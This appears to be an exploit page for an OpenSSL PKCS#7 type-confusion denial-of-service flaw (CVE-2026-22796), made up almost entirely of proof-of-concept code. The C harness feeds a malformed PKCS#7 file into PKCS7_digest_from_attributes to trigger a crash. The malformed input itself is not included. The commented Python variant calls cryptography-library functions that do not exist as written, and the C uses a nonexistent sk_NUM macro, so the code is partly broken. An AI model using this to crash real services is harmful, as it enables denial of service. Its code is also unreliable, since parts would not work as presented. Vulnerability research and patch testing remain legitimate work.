CVE-2026-22796 OpenSSL PKCS#7签名验证类型混淆拒绝服务漏洞

/* * CVE-2026-22796 PoC - Malformed PKCS#7 Type Confusion * This PoC demonstrates the type confusion in PKCS7_digest_from_attributes() * Compile: gcc -o cve_poc cve_poc.c -lssl -lcrypto * Usage: ./cve_poc <malformed_pkcs7_file> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <openssl/pem.h> #include <openssl/pkcs7.h> #include <openssl/err.h> int main(int argc, char **argv) { FILE *fp; PKCS7 *p7 = NULL; PKCS7_SIGNER_INFO *si; STACK_OF(PKCS7_SIGNER_INFO) *sk_si; X509 *x; EVP_PKEY *pkey; int i; if (argc < 2) { fprintf(stderr, "Usage: %s <malformed_pkcs7_file>\n", argv[0]); return 1; } /* Read malformed PKCS#7 data from file */ fp = fopen(argv[1], "rb"); if (!fp) { perror("Failed to open file"); return 1; } /* Parse PKCS#7 structure */ p7 = d2i_PKCS7_fp(fp, NULL); fclose(fp); if (!p7) { fprintf(stderr, "Failed to parse PKCS#7 data\n"); ERR_print_errors_fp(stderr); return 1; } /* Get signer info - this triggers the vulnerable code path */ sk_si = PKCS7_get_signer_info(p7); if (sk_si && sk_NUM(sk_si) > 0) { for (i = 0; i < sk_NUM(sk_si); i++) { si = sk_PKCS7_SIGNER_INFO_value(sk_si, i); /* * This call triggers the vulnerability: * PKCS7_digest_from_attributes() accesses ASN1_TYPE * without validating the type first */ PKCS7_digest_from_attributes(si->auth_attr); } } PKCS7_free(p7); printf("No crash detected - target may not be vulnerable\n"); return 0; } /* Alternative Python PoC using cryptography library */ /* from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.serialization import pkcs7 import sys def trigger_vulnerability(): # Read malformed PKCS#7 data with open(sys.argv[1], 'rb') as f: malformed_data = f.read() # Attempt to parse - this may trigger the vulnerability try: p7 = pkcs7.PKCS7SignatureBuilder.from_der(malformed_data) # Access signer info which calls vulnerable function p7.sign(hashes.SHA256(), options=[]) except Exception as e: print(f"Error: {e}") if __name__ == '__main__': trigger_vulnerability() */